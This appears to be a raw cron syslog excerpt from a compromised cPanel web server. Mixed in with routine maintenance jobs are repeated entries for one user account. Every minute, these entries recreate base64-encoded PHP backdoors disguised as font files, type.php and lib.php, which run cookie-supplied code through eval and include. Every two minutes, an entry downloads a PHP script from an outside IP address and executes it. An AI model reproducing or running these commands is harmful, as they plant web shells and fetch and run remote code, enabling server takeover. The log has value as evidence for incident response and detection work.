Sep  8 15:05:01 ip-184-168-122-23 CROND[7063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:05:01 ip-184-168-122-23 CROND[7066]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:05:01 ip-184-168-122-23 CROND[7068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:05:01 ip-184-168-122-23 CROND[7065]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 15:05:01 ip-184-168-122-23 CROND[7070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:05:01 ip-184-168-122-23 CROND[7071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:06:01 ip-184-168-122-23 CROND[7279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:06:01 ip-184-168-122-23 CROND[7282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:06:01 ip-184-168-122-23 CROND[7283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:06:01 ip-184-168-122-23 CROND[7281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:06:01 ip-184-168-122-23 CROND[7284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:07:01 ip-184-168-122-23 CROND[7376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:07:01 ip-184-168-122-23 CROND[7378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:07:01 ip-184-168-122-23 CROND[7379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:07:01 ip-184-168-122-23 CROND[7382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:08:01 ip-184-168-122-23 CROND[7470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:08:01 ip-184-168-122-23 CROND[7473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:08:01 ip-184-168-122-23 CROND[7472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:08:01 ip-184-168-122-23 CROND[7475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:08:01 ip-184-168-122-23 CROND[7474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:09:01 ip-184-168-122-23 CROND[7553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:09:02 ip-184-168-122-23 CROND[7555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:09:02 ip-184-168-122-23 CROND[7557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:09:02 ip-184-168-122-23 CROND[7556]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 15:09:02 ip-184-168-122-23 CROND[7560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:10:01 ip-184-168-122-23 CROND[7694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:10:01 ip-184-168-122-23 CROND[7696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:10:01 ip-184-168-122-23 CROND[7698]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 15:10:01 ip-184-168-122-23 CROND[7699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:10:01 ip-184-168-122-23 CROND[7707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:10:01 ip-184-168-122-23 CROND[7702]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:10:01 ip-184-168-122-23 CROND[7708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:10:01 ip-184-168-122-23 CROND[7706]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:11:01 ip-184-168-122-23 CROND[7800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:11:01 ip-184-168-122-23 CROND[7801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:11:01 ip-184-168-122-23 CROND[7803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:11:01 ip-184-168-122-23 CROND[7808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:12:01 ip-184-168-122-23 CROND[7899]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:12:01 ip-184-168-122-23 CROND[7901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:12:01 ip-184-168-122-23 CROND[7904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:12:01 ip-184-168-122-23 CROND[7903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:12:01 ip-184-168-122-23 CROND[7902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:13:01 ip-184-168-122-23 CROND[8066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:13:01 ip-184-168-122-23 CROND[8067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:13:01 ip-184-168-122-23 CROND[8068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:13:01 ip-184-168-122-23 CROND[8070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:14:01 ip-184-168-122-23 CROND[8170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:14:01 ip-184-168-122-23 CROND[8173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:14:01 ip-184-168-122-23 CROND[8175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:14:01 ip-184-168-122-23 CROND[8172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:14:01 ip-184-168-122-23 CROND[8174]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:15:01 ip-184-168-122-23 CROND[8259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:15:01 ip-184-168-122-23 CROND[8260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:15:01 ip-184-168-122-23 CROND[8262]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:15:01 ip-184-168-122-23 CROND[8263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:15:01 ip-184-168-122-23 CROND[8267]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:15:01 ip-184-168-122-23 CROND[8268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:16:01 ip-184-168-122-23 CROND[8349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:16:01 ip-184-168-122-23 CROND[8351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:16:01 ip-184-168-122-23 CROND[8352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:16:01 ip-184-168-122-23 CROND[8354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:16:01 ip-184-168-122-23 CROND[8353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:16:01 ip-184-168-122-23 CROND[8355]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 15:17:01 ip-184-168-122-23 CROND[8436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:17:01 ip-184-168-122-23 CROND[8437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:17:01 ip-184-168-122-23 CROND[8438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
